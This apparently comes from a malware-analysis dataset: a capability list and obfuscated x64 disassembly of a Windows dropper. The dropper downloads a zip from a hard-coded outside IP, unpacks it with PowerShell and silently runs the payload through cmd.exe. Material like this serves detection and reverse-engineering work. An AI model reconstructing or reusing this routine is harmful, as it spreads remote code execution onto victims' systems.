Function at 0x2c9ae1370
Capabilities:
Connect socket
Create process on windows
Create process suspended
Download and write a file
Get common file path
Initialize winsock library
Receive and write data from server to client
Receive data
Receive data on socket
Send data
Send data on socket
Send http request
Send http request with host header
Write and execute a file
Write file on windows

Disassembly:
push r15
pushfq
popfq
add rdx, 0x4ce
sub rdx, 0x4ce
mov eax, 0x1bf8
push r14
nop
push r13
nop
push r12
nop
push rbp
add rdx, 0x41c
sub rdx, 0x41c
add rsi, 0x31f
sub rsi, 0x31f
push rdi
add rax, 0x529
sub rax, 0x529
push rax
pop rax
push rax
pop rax
push rsi
push r13
pop r13
pushfq
popfq
push rbx
call fcn.2c9ae3310
sub rsp, rax
add r12, 0x4f6
sub r12, 0x4f6
pushfq
popfq
pushfq
popfq
mov ecx, 0x202
lea rdx, [rsp + 0x670]
push rax
pop rax
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
mov ebp, eax
jne 0x2c9ae24c0
push 1
push r13
pop r13
pushfq
popfq
pop rdx
nop
nop
add rdi, 0x52d
sub rdi, 0x52d
xor r8d, r8d
push 2
push rbx
pop rbx
nop
nop
add rdi, 0x59d
sub rdi, 0x59d
pop rcx
push r10
pop r10
add rsi, 0x4e8
sub rsi, 0x4e8
pushfq
popfq
call qword [sym.imp.WS2_32.dll_socket]
lea rdx, str..119
add rdx, 0x3c4
sub rdx, 0x3c4
nop
nop
mov qword [rsp + 0x58], rax
nop
push r11
pop r11
lea rdi, [rsp + 0x94]
pushfq
popfq
pushfq
popfq
add rbx, 0x136
sub rbx, 0x136
mov eax, ebp
mov qword [rsp + 0x8c], 0x303631
add r15, 0x23d
sub r15, 0x23d
nop
push 0x17
add rbx, 0x4b0
sub rbx, 0x4b0
push r14
pop r14
pop rcx
nop
nop
nop
rep stosd dword [rdi], eax
lea rcx, [rsp + 0x8c]
add r8, 0x260
sub r8, 0x260
add rcx, 0x39a
sub rcx, 0x39a
call sym.strcat
lea rdx, [0x2c9aea005]
mov rcx, rax
nop
nop
call sym.strcat
lea rdx, [0x2c9aea009]
add rbp, 0x3cd
sub rbp, 0x3cd
mov rcx, rax
nop
pushfq
popfq
pushfq
popfq
call sym.strcat
lea rdx, [0x2c9aea00c]
mov rcx, rax
push rbp
pop rbp
call sym.strcat
mov rcx, rax
pushfq
popfq
call qword [sym.imp.WS2_32.dll_inet_addr]
mov word [rsp + 0x60], 2
mov dword [rsp + 0x64], eax
push 0x50
push rcx
pop rcx
add r8, 0x2bf
sub r8, 0x2bf
pop rcx
push r14
pop r14
call qword [sym.imp.WS2_32.dll_htons]
mov word [rsp + 0x62], ax
lea rdx, [rsp + 0x60]
nop
add rax, 0x54d
sub rax, 0x54d
push r9
pop r9
push 0x10
pushfq
popfq
pop r8
push rsi
pop rsi
mov rcx, qword [rsp + 0x58]
push rbp
pop rbp
pushfq
popfq
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
js 0x2c9ae24c0
movabs rax, 0x6c69662f20544547
mov ecx, 0x3fc
lea rbx, [rsp + 0xbf0]
nop
mov qword [rsp + 0xbf0], rax
add rax, 0x261
sub rax, 0x261
nop
push r11
pop r11
add rbp, 0x5b9
sub rbp, 0x5b9
mov eax, ebp
lea rdi, [rsp + 0xc00]
rep stosd dword [rdi], eax
lea rdx, str.esetu
pushfq
popfq
add r14, 0x37f
sub r14, 0x37f
mov rcx, rbx
push rdi
pop rdi
and qword [rsp + 0xbf8], 0
call sym.strcat
lea rdx, str.p_v17
push r11
pop r11
add r11, 0x558
sub r11, 0x558
mov rcx, rbx
add rax, 0x327
sub rax, 0x327
nop
nop
call sym.strcat
lea rdx, str..3.4
mov rcx, rbx
nop
add rdi, 0x66e
sub rdi, 0x66e
pushfq
popfq
call sym.strcat
lea rdx, str..zip_HTTP_1.
pushfq
popfq
add rcx, 0x70f
sub rcx, 0x70f
mov rcx, rbx
add rsi, 0x57
sub rsi, 0x57
call sym.strcat
lea rdx, str.1_r_nHost:_160.119
push rbx
pop rbx
pushfq
popfq
mov rcx, rbx
nop
add rbx, 0x21
sub rbx, 0x21
nop
push rbp
pop rbp
call sym.strcat
lea rdx, str..253.36_r_nUpgr
mov rcx, rbx
pushfq
popfq
push rdx
pop rdx
call sym.strcat
lea rdx, str.ade_Insecure_Req
add rbp, 0x725
sub rbp, 0x725
nop
mov rcx, rbx
push rcx
pop rcx
nop
call sym.strcat
lea rdx, str.uests:_1_r_nUs
push rax
pop rax
nop
add rsi, 0x696
sub rsi, 0x696
mov rcx, rbx
pushfq
popfq
push r10
pop r10
add rax, 0x37b
sub rax, 0x37b
call sym.strcat
lea rdx, str.er_Age
pushfq
popfq
push rbp
pop rbp
mov rcx, rbx
call sym.strcat
lea rdx, str.nt:_Mozil
mov rcx, rbx
push rbx
pop rbx
call sym.strcat
lea rdx, str.la_5.0__Windo
pushfq
popfq
add rax, 0x488
sub rax, 0x488
mov rcx, rbx
add r10, 0x5a9
sub r10, 0x5a9
pushfq
popfq
pushfq
popfq
nop
call sym.strcat
lea rdx, str.ws_NT_10.
push rax
pop rax
mov rcx, rbx
nop
call sym.strcat
lea rdx, str.0__Win64_
nop
pushfq
popfq
mov rcx, rbx
push rax
pop rax
add r15, 0x653
sub r15, 0x653
call sym.strcat
lea rdx, str.x64__AppleWebKi
add r8, 0x34d
sub r8, 0x34d
add r14, 0x57f
sub r14, 0x57f
pushfq
popfq
mov rcx, rbx
push rdi
pop rdi
pushfq
popfq
call sym.strcat
lea rdx, str.t_537.36__KHTML__li
push rsi
pop rsi
nop
mov rcx, rbx
push r13
pop r13
add r14, 0x3f4
sub r14, 0x3f4
call sym.strcat
lea rdx, str.ke_Gecko__Chrome
push rdx
pop rdx
push r11
pop r11
add r15, 0x47
sub r15, 0x47
mov rcx, rbx
nop
call sym.strcat
lea rdx, str._109.0.0.0_S
mov rcx, rbx
pushfq
popfq
call sym.strcat
lea rdx, str.afari_537.36_r_nAc
nop
pushfq
popfq
nop
mov rcx, rbx
nop
nop
nop
call sym.strcat
lea rdx, str.cept:_text_h
pushfq
popfq
push rcx
pop rcx
mov rcx, rbx
nop
call sym.strcat
lea rdx, str.tml_applicatio
pushfq
popfq
mov rcx, rbx
push rbp
pop rbp
nop
call sym.strcat
lea rdx, str.n_xhtmlx
nop
add rcx, 0x599
sub rcx, 0x599
pushfq
popfq
mov rcx, rbx
add r10, 0x42d
sub r10, 0x42d
call sym.strcat
lea rdx, str.ml_applicati
nop
nop
push rbx
pop rbx
mov rcx, rbx
nop
add r15, 0x3e9
sub r15, 0x3e9
call sym.strcat
lea rdx, str.on_xml_q0
push rsi
pop rsi
nop
mov rcx, rbx
add rbp, 0x1f5
sub rbp, 0x1f5
call sym.strcat
lea rdx, str..9_image_a
nop
nop
pushfq
popfq
mov rcx, rbx
pushfq
popfq
call sym.strcat
lea rdx, str.vif_image_webp
add r9, 0x34e
sub r9, 0x34e
add rdi, 0x2a5
sub rdi, 0x2a5
mov rcx, rbx
nop
add r14, 0x576
sub r14, 0x576
call sym.strcat
lea rdx, str._image_apn
push r13
pop r13
add rbx, 0x308
sub rbx, 0x308
mov rcx, rbx
call sym.strcat
lea rdx, str.g___q0.8_
mov rcx, rbx
add r11, 0x438
sub r11, 0x438
nop
pushfq
popfq
call sym.strcat
lea rdx, str.applica
add rcx, 0xbc
sub rcx, 0xbc
pushfq
popfq
nop
mov rcx, rbx
push r13
pop r13
push r14
pop r14
call sym.strcat
lea rdx, str.tion_signe
push r9
pop r9
pushfq
popfq
mov rcx, rbx
add r11, 0x41e
sub r11, 0x41e
push r8
pop r8
nop
call sym.strcat
lea rdx, str.d_exchange
push r9
pop r9
nop
mov rcx, rbx
pushfq
popfq
pushfq
popfq
call sym.strcat
lea rdx, str._vb
pushfq
popfq
push rsi
pop rsi
mov rcx, rbx
nop
call sym.strcat
lea rdx, str.3_q0.9_r
push rcx
pop rcx
nop
nop
mov rcx, rbx
push rsi
pop rsi
add r12, 0xe2
sub r12, 0xe2
call sym.strcat
lea rdx, str._nAcc
pushfq
popfq
nop
push rcx
pop rcx
mov rcx, rbx
add rbp, 0x49c
sub rbp, 0x49c
pushfq
popfq
call sym.strcat
lea rdx, str.ept_Encoding
nop
push rdi
pop rdi
push rdi
pop rdi
mov rcx, rbx
push r11
pop r11
call sym.strcat
lea rdx, str.:_gzip__deflat
push rdx
pop rdx
pushfq
popfq
mov rcx, rbx
nop
push r10
pop r10
add r9, 0x388
sub r9, 0x388
call sym.strcat
lea rdx, str.e_r_nAccept_Lan
nop
add rdi, 0x765
sub rdi, 0x765
add rbp, 0x6aa
sub rbp, 0x6aa
mov rcx, rbx
nop
pushfq
popfq
call sym.strcat
lea rdx, str.guage:_en_U
add r13, 0x47b
sub r13, 0x47b
nop
nop
mov rcx, rbx
pushfq
popfq
call sym.strcat
lea rdx, str.S_en_q0.9_ru_q0.8_r
nop
add r12, 0x2b7
sub r12, 0x2b7
mov rcx, rbx
pushfq
popfq
call sym.strcat
lea rdx, str._nConnection:
pushfq
popfq
mov rcx, rbx
push rcx
pop rcx
pushfq
popfq
call sym.strcat
lea rdx, str.close_r_n_r_n
nop
add r10, 0x6fb
sub r10, 0x6fb
pushfq
popfq
mov rcx, rbx
nop
pushfq
popfq
call sym.strcat
mov rcx, rbx
nop
add rbp, 0x3d6
sub rbp, 0x3d6
call sym.strlen
xor r9d, r9d
mov rcx, qword [rsp + 0x58]
push rsi
pop rsi
mov rdx, rbx
pushfq
popfq
add r13, 0x406
sub r13, 0x406
add rdx, 0x164
sub rdx, 0x164
mov r8d, eax
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
js 0x2c9ae24c0
lea rcx, [0x2c9aea1f5]
add r10, 0x391
sub r10, 0x391
mov r12d, 0x3e8
call sym.printf_char_const__::_
mov ecx, 0x3e8
call sym.malloc
mov r15, qword [sym.imp.WS2_32.dll_recv]
nop
push rsi
pop rsi
lea r14, [rsp + 0x808]
add r8, 0x5a3
sub r8, 0x5a3
mov rbx, rax
xor r9d, r9d
mov rcx, qword [rsp + 0x58]
mov r8d, 0x3e8
mov rdx, r14
push rsi
pop rsi
pushfq
popfq
call r15
test eax, eax
mov r13d, eax
jle 0x2c9ae1c0a
add r12d, r13d
mov rcx, rbx
pushfq
popfq
nop
mov rsi, r14
nop
nop
pushfq
popfq
movsxd rdx, r12d
call sym.realloc
mov ecx, r13d
mov rbx, rax
push rbx
pop rbx
pushfq
popfq
movsxd rax, ebp
add ebp, r13d
add rax, rbx
push rbp
pop rbp
add r13, 0x605
sub r13, 0x605
push rax
pop rax
mov rdi, rax
add rsi, 0x305
sub rsi, 0x305
rep movsb byte [rdi], byte [rsi]
jmp 0x2c9ae1b99
lea r13, [rsp + 0x15c]
pushfq
popfq
movsxd r12, r12d
mov ecx, 0x104
mov rdx, r13
pushfq
popfq
push r10
pop r10
add rdx, 0x5bd
sub rdx, 0x5bd
add r11, 0x4c
sub r11, 0x4c
mov byte [rbx + r12], 0
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea rdx, str._r_n_r_n
nop
mov rcx, rbx
nop
pushfq
popfq
call sym.strstr
test rax, rax
mov r15, rax
add rcx, 0x13f
sub rcx, 0x13f
je 0x2c9ae24c0
and qword [rsp + 0x260], 0
xor ebp, ebp
mov rdx, r13
pushfq
popfq
add r15, 0x29d
sub r15, 0x29d
lea rdi, [rsp + 0x268]
add rcx, 0x22c
sub rcx, 0x22c
mov eax, ebp
sub rbx, r15
push rdi
pop rdi
add r13, 0x66e
sub r13, 0x66e
push 0x3f
add r14, 0x392
sub r14, 0x392
pushfq
popfq
pop rcx
pushfq
popfq
pushfq
popfq
rep stosd dword [rdi], eax
lea r14, [rsp + 0x260]
add r11, 0x639
sub r11, 0x639
pushfq
popfq
nop
mov rcx, r14
push rbx
pop rbx
call sym.strcat
lea rdx, str.mypictures
pushfq
popfq
add r8, 0x145
sub r8, 0x145
add r8, 0x215
sub r8, 0x215
mov rcx, r14
push r12
pop r12
nop
nop
nop
call sym.strcat
lea rdx, [0x2c9aea206]
pushfq
popfq
pushfq
popfq
push r15
pop r15
mov rcx, r14
pushfq
popfq
add r11, 0x724
sub r11, 0x724
call sym.strcat
lea rdx, [0x2c9aea208]
pushfq
popfq
mov rcx, r14
nop
nop
pushfq
popfq
push rcx
pop rcx
call sym.strcat
lea rdx, [0x2c9aea20b]
add r15, 0xe3
sub r15, 0xe3
add rbp, 0x683
sub rbp, 0x683
mov rcx, r14
pushfq
popfq
nop
nop
call sym.strcat
lea rdx, [0x2c9aea20d]
add rdx, 0x18a
sub rdx, 0x18a
pushfq
popfq
push rdi
pop rdi
mov rcx, r14
pushfq
popfq
call sym.fopen
push 1
pop r8
nop
push rbp
pop rbp
lea rdx, [rbx + r12 - 4]
push rcx
pop rcx
push rsi
pop rsi
mov r9, rax
pushfq
popfq
add r8, 0x57c
sub r8, 0x57c
mov rsi, rax
nop
lea rcx, [r15 + 4]
add r9, 0x240
sub r9, 0x240
push r14
pop r14
call sym.fwrite
lea rdi, [rsp + 0x36c]
add rax, 0x4b0
sub rax, 0x4b0
mov rcx, rsi
pushfq
popfq
call sym.fclose
lea rdx, [0x2c9aea210]
nop
nop
push r12
pop r12
mov eax, ebp
mov qword [rsp + 0x364], 0x776f70
nop
nop
push 0x3f
add r13, 0x197
sub r13, 0x197
add r9, 0x113
sub r9, 0x113
push r10
pop r10
pop rcx
push rbx
pop rbx
nop
rep stosd dword [rdi], eax
lea r10, [rsp + 0x364]
nop
lea r12, [rsp + 0xf0]
pushfq
popfq
pushfq
popfq
nop
mov rcx, r10
add rdx, 0x4fc
sub rdx, 0x4fc
pushfq
popfq
call sym.strcat
lea rdx, [0x2c9aea213]
nop
push r13
pop r13
mov rcx, rax
add rsi, 0xb2
sub rsi, 0xb2
call sym.strcat
lea rdx, str.ell.
push r14
pop r14
mov rcx, rax
pushfq
popfq
pushfq
popfq
pushfq
popfq
call sym.strcat
lea rdx, [0x2c9aea21b]
add r12, 0x536
sub r12, 0x536
nop
mov rcx, rax
nop
call sym.strcat
lea rdx, [0x2c9aea21e]
pushfq
popfq
pushfq
popfq
mov rcx, rax
add rsi, 0x241
sub rsi, 0x241
call sym.strcat
lea rdx, str._Exp
add rdi, 0x6d0
sub rdi, 0x6d0
mov rcx, rax
add rsi, 0xd1
sub rsi, 0xd1
call sym.strcat
lea rdx, str.and_
push r9
pop r9
push r9
pop r9
pushfq
popfq
mov rcx, rax
add r9, 0x175
sub r9, 0x175
call sym.strcat
lea rdx, str.Arch
pushfq
popfq
add rbx, 0x5a7
sub rbx, 0x5a7
mov rcx, rax
add r15, 0x6a9
sub r15, 0x6a9
push rdx
pop rdx
pushfq
popfq
call sym.strcat
lea rdx, [0x2c9aea22f]
push r14
pop r14
mov rcx, rax
nop
call sym.strcat
lea rdx, [0x2c9aea233]
nop
pushfq
popfq
nop
mov rcx, rax
nop
add r11, 0x282
sub r11, 0x282
call sym.strcat
lea rdx, str.ath__
push rbp
pop rbp
pushfq
popfq
mov rcx, rax
nop
add r11, 0xaa
sub r11, 0xaa
call sym.strcat
mov rdx, r14
add r14, 0x19a
sub r14, 0x19a
add r10, 0x3d2
sub r10, 0x3d2
mov rcx, rax
pushfq
popfq
push rcx
pop rcx
call sym.strcat
lea rdx, [0x2c9aea23d]
push rsi
pop rsi
push rcx
pop rcx
push r13
pop r13
mov rcx, rax
nop
pushfq
popfq
nop
add r12, 0x3fc
sub r12, 0x3fc
call sym.strcat
lea rdx, str.__Des
mov rcx, rax
push rbx
pop rbx
push r12
pop r12
call sym.strcat
lea rdx, str.tina
add r13, 0x4b3
sub r13, 0x4b3
add rsi, 0x12f
sub rsi, 0x12f
mov rcx, rax
add r15, 0x2b6
sub r15, 0x2b6
add r13, 0x798
sub r13, 0x798
push r13
pop r13
call sym.strcat
lea rdx, str.tion
nop
mov rcx, rax
call sym.strcat
lea rdx, str.Path__
push rcx
pop rcx
add r13, 0x4c6
sub r13, 0x4c6
push rax
pop rax
mov rcx, rax
pushfq
popfq
add r13, 0x538
sub r13, 0x538
call sym.strcat
mov rdx, r13
pushfq
popfq
push r9
pop r9
mov rcx, rax
pushfq
popfq
nop
pushfq
popfq
call sym.strcat
lea rdx, [0x2c9aea256]
push rbp
pop rbp
mov rcx, rax
nop
nop
call sym.strcat
lea rdx, [rsp + 0xf4]
pushfq
popfq
pushfq
popfq
pushfq
popfq
push 0x19
add rcx, 0x44
sub rcx, 0x44
pop rcx
nop
mov r10, rax
pushfq
popfq
push rcx
pop rcx
mov rdi, rdx
add r15, 0x3fb
sub r15, 0x3fb
push rbp
pop rbp
push r9
pop r9
pushfq
popfq
mov r14, qword [sym.imp.KERNEL32.dll_CreateProcessA]
nop
nop
mov eax, ebp
mov rdx, r10
rep stosd dword [rdi], eax
lea rsi, [rsp + 0x70]
pushfq
popfq
nop
nop
mov dword [rsp + 0xf0], 0x68
push 6
add r12, 0x29f
sub r12, 0x29f
push rax
pop rax
add r8, 0x2a6
sub r8, 0x2a6
mov rdi, rsi
pushfq
popfq
pop rcx
add r8, 0x456
sub r8, 0x456
nop
pushfq
popfq
rep stosd dword [rdi], eax
mov qword [rsp + 0x48], rsi
add rbp, 0x544
sub rbp, 0x544
push rdi
pop rdi
and qword [rsp + 0x38], 0
mov qword [rsp + 0x40], r12
pushfq
popfq
and qword [rsp + 0x30], 0
and dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x28], 0x8000000
call r14
push 0xffffffffffffffff
pushfq
popfq
pushfq
popfq
pop rdx
push rdi
pop rdi
mov rcx, qword [rsp + 0x70]
pushfq
popfq
push r14
pop r14
nop
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, ebp
mov rdx, r13
pushfq
popfq
pushfq
popfq
and qword [rsp + 0x468], 0
lea rdi, [rsp + 0x470]
pushfq
popfq
pushfq
popfq
add r15, 0x25e
sub r15, 0x25e
push r11
pop r11
push 0x3f
pushfq
popfq
pop rcx
pushfq
popfq
push r9
pop r9
rep stosd dword [rdi], eax
lea rbx, [rsp + 0x468]
nop
push r12
pop r12
add rsi, 0x5b7
sub rsi, 0x5b7
pushfq
popfq
lea rdi, str.file
pushfq
popfq
pushfq
popfq
mov rcx, rbx
nop
nop
call sym.strcat
mov rdx, rdi
push r11
pop r11
push r11
pop r11
mov rcx, rbx
nop
add rcx, 0x70f
sub rcx, 0x70f
nop
call sym.strcat
lea rdx, str.setup_
add r14, 0x35e
sub r14, 0x35e
mov rcx, rbx
push r13
pop r13
add r9, 0x20
sub r9, 0x20
call sym.strcat
lea rdx, str.v17.
push r15
pop r15
add r12, 0x2df
sub r12, 0x2df
pushfq
popfq
push rdi
pop rdi
mov rcx, rbx
push r14
pop r14
call sym.strcat
lea rdx, str.3.4_
push r11
pop r11
pushfq
popfq
mov rcx, rbx
add rbx, 0xd
sub rbx, 0xd
call sym.strcat
mov rdx, rdi
add r11, 0x642
sub r11, 0x642
pushfq
popfq
nop
mov rcx, rbx
pushfq
popfq
push rbx
pop rbx
call sym.strcat
lea rdx, str.setup
pushfq
popfq
push rbp
pop rbp
pushfq
popfq
mov rcx, rbx
call sym.strcat
lea rdx, str._v17
push r15
pop r15
add r15, 0x156
sub r15, 0x156
mov rcx, rbx
add r11, 0x23a
sub r11, 0x23a
push rdx
pop rdx
call sym.strcat
lea rdx, str..3.4
mov rcx, rbx
nop
pushfq
popfq
nop
call sym.strcat
lea rdx, str..jpg
push r13
pop r13
push rdx
pop rdx
mov rcx, rbx
add rbp, 0x4f1
sub rbp, 0x4f1
pushfq
popfq
pushfq
popfq
call sym.strcat
lea rdi, [rsp + 0x574]
nop
push rcx
pop rcx
nop
mov eax, ebp
mov qword [rsp + 0x56c], 0x6d63
nop
add r8, 0x3bb
sub r8, 0x3bb
push 0x3f
push rbx
pop rbx
pop rcx
add r14, 0x451
sub r14, 0x451
nop
lea rdx, [0x2c9aea27f]
nop
rep stosd dword [rdi], eax
lea rcx, [rsp + 0x56c]
call sym.strcat
lea rdx, str.xe__c
add r9, 0xd
sub r9, 0xd
mov rcx, rax
nop
pushfq
popfq
call sym.strcat
lea rdx, [0x2c9aea289]
pushfq
popfq
add rdx, 0x5e3
sub rdx, 0x5e3
pushfq
popfq
mov rcx, rax
add r8, 0x278
sub r8, 0x278
push rbp
pop rbp
call sym.strcat
lea rdx, [0x2c9aea28d]
push rcx
pop rcx
pushfq
popfq
mov rcx, rax
add r11, 0x555
sub r11, 0x555
pushfq
popfq
nop
call sym.strcat
mov rdx, rbx
add rcx, 0x26f
sub rcx, 0x26f
mov rcx, rax
pushfq
popfq
push r15
pop r15
push r13
pop r13
call sym.strcat
mov qword [rsp + 0x48], rsi
xor r9d, r9d
xor r8d, r8d
and qword [rsp + 0x38], 0
mov qword [rsp + 0x40], r12
nop
add rdi, 0x172
sub rdi, 0x172
push rdi
pop rdi
mov rdx, rax
pushfq
popfq
push rdx
pop rdx
xor ecx, ecx
and qword [rsp + 0x30], 0
and dword [rsp + 0x20], 0
mov dword [rsp + 0x28], 0x8000008
call r14
push 1
pushfq
popfq
push rcx
pop rcx
pop rax
add r10, 0x3bb
sub r10, 0x3bb
pushfq
popfq
add rsp, 0x1bf8
add r12, 0x4b6
sub r12, 0x4b6
push rbp
pop rbp
nop
pop rbx
add rcx, 0x752
sub rcx, 0x752
push rbx
pop rbx
add rcx, 0x732
sub rcx, 0x732
push r10
pop r10
pop rsi
nop
pushfq
popfq
pushfq
popfq
pop rdi
nop
nop
pushfq
popfq
add r8, 0x49f
sub r8, 0x49f
pop rbp
push rbp
pop rbp
push rdx
pop rdx
pop r12
nop
nop
pop r13
nop
push rsi
pop rsi
add rbx, 0x2e3
sub rbx, 0x2e3
pop r14
nop
pop r15
add rbp, 0x89
sub rbp, 0x89
ret